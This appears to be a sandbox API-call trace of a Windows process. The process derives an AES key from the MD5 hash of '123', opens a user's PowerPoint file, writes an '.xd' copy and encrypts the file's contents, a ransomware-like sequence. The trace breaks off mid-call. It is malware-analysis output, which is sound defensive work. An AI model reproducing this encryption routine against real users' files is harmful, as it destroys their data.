[0073.106] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.106] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.106] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.106] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.106] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.106] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.106] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.106] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.106] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.106] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.106] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.106] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.107] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.107] CryptCreateHash (in: hProv=0x17aac48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.107] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.107] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.107] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.108] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.108] CryptHashData (hHash=0x164c430, pbData=0x1629410, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.108] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.108] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.108] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.108] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.108] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.108] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.108] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.108] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621888, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.108] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.108] CryptDeriveKey (in: hProv=0x17aac48, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0073.109] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.109] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.109] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.109] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.109] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.109] CryptDestroyHash (hHash=0x164c430) returned 1 [0073.109] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.109] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.109] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\nmpt40awk48rx.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0073.110] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.110] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.110] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0073.111] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\nmpt40awk48rx.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0073.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.113] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.113] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5e85, lpOverlapped=0x0) returned 1 [0073.114] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.116] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.117] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.117] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.117] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.117] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.117] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.117] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.117] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.117] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.118] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.118] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.118] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.118] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.118] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.118] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.118] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.118] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.118] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.118] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.119] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.119] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.119] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.119] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.120] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621810, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.120] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.120] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x5e85, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x5e90) returned 1 [0073.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.121] CharLowerBuffW (in: lpsz="byte[24209]", cchLength=0xb | out: lpsz="byte[24209]") returned 0xb [0073.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.121] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.121] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.121] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bb8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.122] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.122] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17ec840*, 